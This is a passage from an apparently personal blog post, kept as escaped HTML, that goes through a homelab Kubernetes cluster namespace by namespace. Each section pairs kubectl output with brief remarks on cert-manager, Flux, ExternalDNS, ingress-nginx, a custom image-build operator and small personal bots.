&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;NAME                              TYPE        CLUSTER-IP      EXTERNAL-IP   PORT(S)            AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;service/cert-manager              ClusterIP   10.90.202.51    &amp;lt;none&amp;gt;        9402/TCP           105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;service/cert-manager-cainjector   ClusterIP   10.90.246.184   &amp;lt;none&amp;gt;        9402/TCP           105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;service/cert-manager-webhook      ClusterIP   10.90.71.86     &amp;lt;none&amp;gt;        443/TCP,9402/TCP   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;NAME                                      READY   UP-TO-DATE   AVAILABLE   AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;deployment.apps/cert-manager              1/1     1            1           105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;deployment.apps/cert-manager-cainjector   1/1     1            1           105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;deployment.apps/cert-manager-webhook      1/1     1            1           105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;NAME                                                 DESIRED   CURRENT   READY   AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;replicaset.apps/cert-manager-58dd99f969              1         1         1       105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;replicaset.apps/cert-manager-cainjector-55cd9f77b5   1         1         1       105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;replicaset.apps/cert-manager-webhook-7987476d56      1         1         1       105d
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Standard install of &lt;a href=&quot;https://cert-manager.io/&quot;&gt;cert-manager&lt;/a&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://nossa.ee/~talya/vyx/blob/main/3662d5dfba921dfde101678805498c54e3e9dea7/flux/cassax/cert-manager.yaml?k=8XNj4h6zx0QIaaFtXzEcUl2s7X77YvKMsV5o8VkegBE%3D&quot;&gt;Install via Helm, kustomize&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nossa.ee/~talya/vyx/blob/main/3662d5dfba921dfde101678805498c54e3e9dea7/flux/sources/cert-manager/clusterissuer-letsencrypt.yaml?k=7reGr3lYL3Bb4ytuvmmwuUcSw0TKYgeMvGVLI2yWVb8%3D&quot;&gt;Configure to use Let’s Encrypt&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This works really reliably. A couple weeks ago I had all my certs expire at once — it turned out &lt;a href=&quot;https://github.com/contaimlabs/external-dns-bunny-webhook/issues/25&quot;&gt;a bug in my DNS provider&lt;/a&gt; caused all my domains to have an invalid CAA set, so none of them were renewing.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;chog&lt;/code&gt;&lt;/h3&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;$ k chog ga
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;NAME                               READY   STATUS    RESTARTS      AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;pod/chog-deploy-8697ddd585-7p5rz   2/2     Running   3 (46d ago)   49d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;NAME                          READY   UP-TO-DATE   AVAILABLE   AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;deployment.apps/chog-deploy   1/1     1            1           105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;NAME                                     DESIRED   CURRENT   READY   AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;replicaset.apps/chog-deploy-64bbcf5b65   0         0         0       85d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;replicaset.apps/chog-deploy-6bd86f7689   0         0         0       105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;replicaset.apps/chog-deploy-8697ddd585   1         1         1       49d
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A little &lt;a href=&quot;https://nossa.ee/~talya/chog&quot;&gt;Discord bot&lt;/a&gt; which takes care of some sundries for me and Annie.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://nossa.ee/~talya/vyx/blob/main/3662d5dfba921dfde101678805498c54e3e9dea7/flux/cassax/chog.yaml?k=A7_lV6oDFYaaOZWJeunZDKMRnSPKX_PfWlaucu0eqBA%3D&quot;&gt;Install via kustomize&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nossa.ee/~talya/vyx/blob/main/3662d5dfba921dfde101678805498c54e3e9dea7/flux/sources/chog/bundle.cue?k=lMudK7VBs7vXldxDAcbW_JBYRErIhKIY5_3etwp6hjE%3D&quot;&gt;CUE-based setup&lt;/a&gt;, build with enbi&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;code&gt;default&lt;/code&gt;&lt;/h3&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;$ k default ga
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;NAME                 TYPE        CLUSTER-IP   EXTERNAL-IP   PORT(S)   AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;service/kubernetes   ClusterIP   10.90.0.1    &amp;lt;none&amp;gt;        443/TCP   105d
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;enbi&lt;/code&gt;&lt;/h3&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;$ k enbi ga
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;NAME                                           READY   STATUS      RESTARTS   AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;pod/enbi-controller-manager-54c5d7fdb5-xxj7l   1/1     Running     0          14d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;pod/podwatcher-647d55454f-647d55454f-5nw2f     0/1     Completed   0          15h
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;NAME                                              TYPE        CLUSTER-IP      EXTERNAL-IP   PORT(S)    AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;service/enbi-controller-manager-metrics-service   ClusterIP   10.90.179.225   &amp;lt;none&amp;gt;        8443/TCP   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;NAME                                      READY   UP-TO-DATE   AVAILABLE   AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;deployment.apps/enbi-controller-manager   1/1     1            1           105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;NAME                                                 DESIRED   CURRENT   READY   AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;replicaset.apps/enbi-controller-manager-54c5d7fdb5   1         1         1       14d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;replicaset.apps/enbi-controller-manager-649b47b448   0         0         0       49d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;replicaset.apps/enbi-controller-manager-6b65b4fdfb   0         0         0       49d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;NAME                                         STATUS     COMPLETIONS   DURATION   AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;job.batch/podwatcher-647d55454f-647d55454f   Complete   1/1           108s       15h
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;NAME                                          IMAGE TAG                                                       SYSTEM         STATUS      BUILD NODE   AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;nixbuild.enbi.hrzn.ee/podwatcher-5f9d56bc9f   nossa.ee/talya/kv:211c28182fcb5ae15cd102388fa823e890acdd42      x86_64-linux   Succeeded   kala         15h
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;nixbuild.enbi.hrzn.ee/podwatcher-647d55454f   nossa.ee/talya/kv:dc48721dd93d0a0d305453c9c68b50d18b3ca022      x86_64-linux   Failed      kala         15h
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;nixbuild.enbi.hrzn.ee/podwatcher-79c6b5548b   nossa.ee/talya/nossa:6181112bcc45ee79482b619f0a6e838dcb3be43b   x86_64-linux   Succeeded   kala         14d
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://nossa.ee/~talya/enbi&quot;&gt;enbi&lt;/a&gt;, Operator that builds images on demand.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://nossa.ee/~talya/vyx/blob/main/3662d5dfba921dfde101678805498c54e3e9dea7/flux/cassax/enbi.yaml?k=HbM_NtJb7Af0Xa1-TYnsuilxmlW7uHi2ltlv11OoMlk%3D&quot;&gt;Install via kustomize&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nossa.ee/~talya/vyx/blob/main/3662d5dfba921dfde101678805498c54e3e9dea7/flux/sources/enbi/bundle.cue?k=1HRUKufSH3bE8xecOj9LyulNcLKhc3j96DT63REMC4o%3D&quot;&gt;CUE-based setup&lt;/a&gt;, build with itself&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nossa.ee/~talya/vyx/tree/main/3662d5dfba921dfde101678805498c54e3e9dea7/flux/sources/enbi/kubebuilder?k=AIXuGGtiBpdicDwC8LdBSXo9-q9UOpQoUpT3h2LaAns%3D&quot;&gt;kubebuilder manifests&lt;/a&gt; for CRD, policies, etc.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;code&gt;external-dns&lt;/code&gt;&lt;/h3&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;$ k external-dns ga
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;NAME                                READY   STATUS    RESTARTS   AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;pod/external-dns-58f666b7f9-7gww2   2/2     Running   0          15d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;NAME                   TYPE        CLUSTER-IP      EXTERNAL-IP   PORT(S)             AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;service/external-dns   ClusterIP   10.90.161.171   &amp;lt;none&amp;gt;        7979/TCP,8080/TCP   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;NAME                           READY   UP-TO-DATE   AVAILABLE   AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;deployment.apps/external-dns   1/1     1            1           105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;NAME                                      DESIRED   CURRENT   READY   AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;replicaset.apps/external-dns-58f666b7f9   1         1         1       15d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;replicaset.apps/external-dns-5cf8f9499b   0         0         0       15d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;replicaset.apps/external-dns-6fdcd965dd   0         0         0       15d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;replicaset.apps/external-dns-7d9bc99bbb   0         0         0       15d
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Standard install of &lt;a href=&quot;https://github.com/kubernetes-sigs/external-dns&quot;&gt;ExternalDNS&lt;/a&gt;, with &lt;a href=&quot;https://nossa.ee/~talya/external-dns-bunny-webhook&quot;&gt;fork of external-dns-bunny-webhook&lt;/a&gt; for the heavy lifting.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://nossa.ee/~talya/vyx/blob/main/3662d5dfba921dfde101678805498c54e3e9dea7/flux/cassax/external-dns.yaml?k=6GZysb4aSyu0H4t2vWg15ibzaem4Z7pqXuR0WKAYt_Y%3D&quot;&gt;Install via Helm&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;ExternalDNS itself works reliably, the Bunny.net provider has needed so much work. It works OK for me now (after quite a few head-scratchers), but I wouldn’t recommend it to you.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;flux-system&lt;/code&gt;&lt;/h3&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;$ k flux-system ga
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;NAME                                           READY   STATUS    RESTARTS      AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;pod/flux-operator-5f966f8fbc-6dqgg             1/1     Running   4 (15d ago)   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;pod/helm-controller-5cbb6bd454-5pb8n           1/1     Running   4 (15d ago)   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;pod/kustomize-controller-757dff9666-ck9hm      1/1     Running   4 (15d ago)   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;pod/notification-controller-55d7f99bf9-r855t   1/1     Running   4 (15d ago)   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;pod/source-controller-88749965c-lht44          1/1     Running   4 (15d ago)   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;NAME                              TYPE        CLUSTER-IP      EXTERNAL-IP   PORT(S)    AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;service/flux-operator             ClusterIP   10.90.248.179   &amp;lt;none&amp;gt;        8080/TCP   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;service/notification-controller   ClusterIP   10.90.245.193   &amp;lt;none&amp;gt;        80/TCP     105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;service/source-controller         ClusterIP   10.90.113.157   &amp;lt;none&amp;gt;        80/TCP     105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;service/webhook-receiver          ClusterIP   10.90.4.185     &amp;lt;none&amp;gt;        80/TCP     105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;NAME                                      READY   UP-TO-DATE   AVAILABLE   AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;deployment.apps/flux-operator             1/1     1            1           105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;deployment.apps/helm-controller           1/1     1            1           105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;deployment.apps/kustomize-controller      1/1     1            1           105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;deployment.apps/notification-controller   1/1     1            1           105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;deployment.apps/source-controller         1/1     1            1           105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;NAME                                                 DESIRED   CURRENT   READY   AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;replicaset.apps/flux-operator-5f966f8fbc             1         1         1       105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;replicaset.apps/helm-controller-5cbb6bd454           1         1         1       105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;replicaset.apps/kustomize-controller-757dff9666      1         1         1       105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;26&quot;&gt;replicaset.apps/notification-controller-55d7f99bf9   1         1         1       105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;27&quot;&gt;replicaset.apps/source-controller-88749965c          1         1         1       105d
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Standard install of &lt;a href=&quot;https://fluxcd.io/&quot;&gt;Flux&lt;/a&gt;. It works the way I want it to, and I’ve never had problems prying it apart or debugging it when I’ve done questionable things.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://nossa.ee/~talya/vyx/blob/main/3662d5dfba921dfde101678805498c54e3e9dea7/modules/k3s/default.nix?k=QXLX32qx9nnLPyu2NZr_1WCQe1rZgxSQ_TGkbDBFvgQ%3D#L286&quot;&gt;Bootstrap via an auto-deployed chart in k3s&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;code&gt;furpoll&lt;/code&gt;&lt;/h3&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;$ k furpoll ga
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;NAME                    SCHEDULE                    TIMEZONE              SUSPEND   ACTIVE   LAST SCHEDULE   AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;cronjob.batch/furpoll   07 7,10,13,18,21,23 * * *   Australia/Melbourne   False     0        48m             105d
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Very simple &lt;a href=&quot;https://nossa.ee/~talya/furpoll&quot;&gt;private message checker&lt;/a&gt;. This keeps getting into failing loops because of &lt;code&gt;hostIP&lt;/code&gt; shenanigans and OpenSMTPD not listening on the mesh interface since it hasn’t come up yet.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://nossa.ee/~talya/vyx/blob/main/3662d5dfba921dfde101678805498c54e3e9dea7/flux/cassax/furpoll.yaml?k=avLe6KWqaLro-EqFb-LEGvz10A-WiBUSiUW1JkEsdLA%3D&quot;&gt;Install via kustomize&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nossa.ee/~talya/vyx/blob/main/3662d5dfba921dfde101678805498c54e3e9dea7/flux/sources/furpoll/bundle.cue?k=luWsnr6MboNaOCmPbD8Ph4mqydcLG765I0Fr2YjkGNw%3D&quot;&gt;CUE-based setup&lt;/a&gt; for cronjob, build with enbi&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;code&gt;ingress-nginx&lt;/code&gt;&lt;/h3&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;$ k ingress-nginx ga
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;NAME                                            READY   STATUS    RESTARTS   AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;pod/ingress-nginx-controller-67cc5cc697-rv4hg   1/1     Running   0          42d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;NAME                                         TYPE        CLUSTER-IP    EXTERNAL-IP      PORT(S)                      AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;service/ingress-nginx-controller             NodePort    10.90.99.47   51.161.136.132   80:32080/TCP,443:32443/TCP   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;service/ingress-nginx-controller-admission   ClusterIP   10.90.28.90   &amp;lt;none&amp;gt;           443/TCP                      105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;NAME                                       READY   UP-TO-DATE   AVAILABLE   AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;deployment.apps/ingress-nginx-controller   1/1     1            1           105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;NAME                                                  DESIRED   CURRENT   READY   AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;replicaset.apps/ingress-nginx-controller-67cc5cc697   1         1         1       42d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;replicaset.apps/ingress-nginx-controller-778b7dfb8f   0         0         0       105d
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Standard install of &lt;a href=&quot;https://github.com/kubernetes/ingress-nginx&quot;&gt;Ingress NGINX&lt;/a&gt;. Now retired, hah. :/&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://nossa.ee/~talya/vyx/blob/main/3662d5dfba921dfde101678805498c54e3e9dea7/flux/cassax/ingress-nginx.yaml?k=zQLAhbuzZOxe7z-N5xaG9bPa0oHHJK4l8S5K3bChXRE%3D&quot;&gt;Install via Helm, kustomize&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Configured with annotations throughout&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;code&gt;kube-node-lease&lt;/code&gt;&lt;/h3&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;$ k kube-node-lease ga
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;No resources found in kube-node-lease namespace.
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;kube-public&lt;/code&gt;&lt;/h3&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;$ k kube-public ga
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;No resources found in kube-public namespace.
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;kube-system&lt;/code&gt;&lt;/h3&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;$ k kube-system ga
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;NAME                                          READY   STATUS      RESTARTS      AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;pod/coredns-6d668d687-pncqs                   1/1     Running     0             15d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;pod/helm-install-flux-operator-42sn6          0/1     Completed   0             15d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;pod/local-path-provisioner-869c44bfbd-7pg5b   1/1     Running     0             15d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;pod/metrics-server-7bfffcd44-kczwl            1/1     Running     1 (46d ago)   50d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;NAME                     TYPE        CLUSTER-IP    EXTERNAL-IP   PORT(S)                        AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;service/kube-dns         ClusterIP   10.90.0.10    &amp;lt;none&amp;gt;        53/UDP,53/TCP,9153/TCP         105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;service/kubelet          ClusterIP   None          &amp;lt;none&amp;gt;        10250/TCP,10255/TCP,4194/TCP   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;service/metrics-server   ClusterIP   10.90.91.59   &amp;lt;none&amp;gt;        443/TCP                        105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;NAME                                     READY   UP-TO-DATE   AVAILABLE   AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;deployment.apps/coredns                  1/1     1            1           105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;deployment.apps/local-path-provisioner   1/1     1            1           105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;deployment.apps/metrics-server           1/1     1            1           105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;NAME                                                DESIRED   CURRENT   READY   AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;replicaset.apps/coredns-6d668d687                   1         1         1       15d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;replicaset.apps/local-path-provisioner-869c44bfbd   1         1         1       15d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;replicaset.apps/metrics-server-7bfffcd44            1         1         1       50d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;NAME                                   STATUS     COMPLETIONS   DURATION   AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;job.batch/helm-install-flux-operator   Complete   1/1           16s        15d
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;kv&lt;/code&gt;&lt;/h3&gt;
